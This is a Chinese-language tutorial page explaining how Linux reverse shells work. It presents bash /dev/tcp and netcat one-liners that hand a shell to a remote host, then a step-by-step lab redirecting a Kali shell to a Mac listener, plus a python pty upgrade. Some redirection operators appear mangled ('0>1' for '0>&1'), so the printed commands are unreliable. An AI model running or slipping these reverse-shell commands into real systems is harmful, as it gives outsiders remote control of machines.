• 企业400电话
  • 微网小程序
  • AI电话机器人
  • 电商代运营
  • 全 部 栏 目

    企业400电话 网络优化推广 AI电话机器人 呼叫中心 网站建设 商标✡知产 微网小程序 电商运营 彩铃•短信 增值拓展业务
    linux反弹shell的原理详解

    完整命令

    反弹shell命令:

    bash -i > /dev/tcp/10.0.0.1/8080 0>1
    bash -i > /dev/tcp/ip/port 0>1 2>1

    利用nc反弹shell:

    nc -lvvp 12345 -t -e /bin/bash

    原理

    bash -i > /dev/tcp/ip/port 0>1 2>1
    bash -i 打开一个交互式的bash
    是为了区分文件1和文件描述符1的
    a>b 的意思是 a>b 2>1
    0代表输入 ,0>1 意思是,将输出的窗口上所输入的值当作当前窗口的输入。反弹shell后会有两个窗口,即靶机的shell窗口跟攻击机的shell口。这命令的意思也可以理解为,将攻击机窗口的输入当作靶机窗口的输入最终输入给靶机。2代表标准错误输出。

    实验

    通过一个小实验帮助大家理解

    第一步,将shell的正确输出重定向到外部主机

    假设我们在kali上输入的命令为:
    bash -i > /dev/tcp/192.168.124.1/9999,这句话的意思是将交互式shell的标准输出重定向到192.168.124.1的9999端口。

    在mac上监听端口命令为:nc -l 9999

    首先在kali上输入whoami命令,发现没有回显,因为回显被重定向到了mac上。

    但是当我们在kali上出入错误命令的时候,却存在回显。

    第二步,将错误输出重定向到外部主机

    我们只需要在上面的命令后面加上 2>1即可,意思为将错误输出重定向到标准输出上,也就是重定向到我们的外部主机。

    这时候发现在kali上按键盘已经没有任何回显了,回显全部出现在了mac的shell上:

    这是因为我们已经将所有的输出都重定向到了外部主机上,但问题是现在我们的控制权还在kali上,mac无法进行任何输出操作,只能显示输出。这时候我们几句需要将输入的权限给予我们的mac。

    第三步,交出输入权限

    只需要在第二步命令的基础上加上 0>1即可。

    这时候已经可以在mac上完全控制kali的shell了,实验结束。

    其他

    当shell不稳定时候用python的虚拟化终端:

    python -c "import pty;pty.spawn('/bin/bash')"

    参考:
    https://www.freebuf.com/news/142195.html #将shell转换成完全tty
    https://blog.csdn.net/Auuuuuuuu/article/details/89059176
    https://www.anquanke.com/post/id/87017

    到此这篇关于linux反弹shell的原理详解的文章就介绍到这了,更多相关linux反弹shell内容请搜索脚本之家以前的文章或继续浏览下面的相关文章希望大家以后多多支持脚本之家!

    您可能感兴趣的文章:
    • shell脚本语言的使用(超全超详细)
    • Linux Shell脚本系列教程(二):终端打印命令详解
    • Linux shell传递参数实现原理及代码实例
    • shell脚本4种执行方式
    • 自己常用的一些shell脚本分享
    • 入门shell脚本基础及原理
    上一篇:Shell文本处理三剑客之sed的使用
    下一篇:浅析Linux之bash反弹shell原理
  • 相关文章
  • 

    © 2016-2020 巨人网络通讯 版权所有

    《增值电信业务经营许可证》 苏ICP备15040257号-8

    linux反弹shell的原理详解 linux,反弹,shell,的,原理,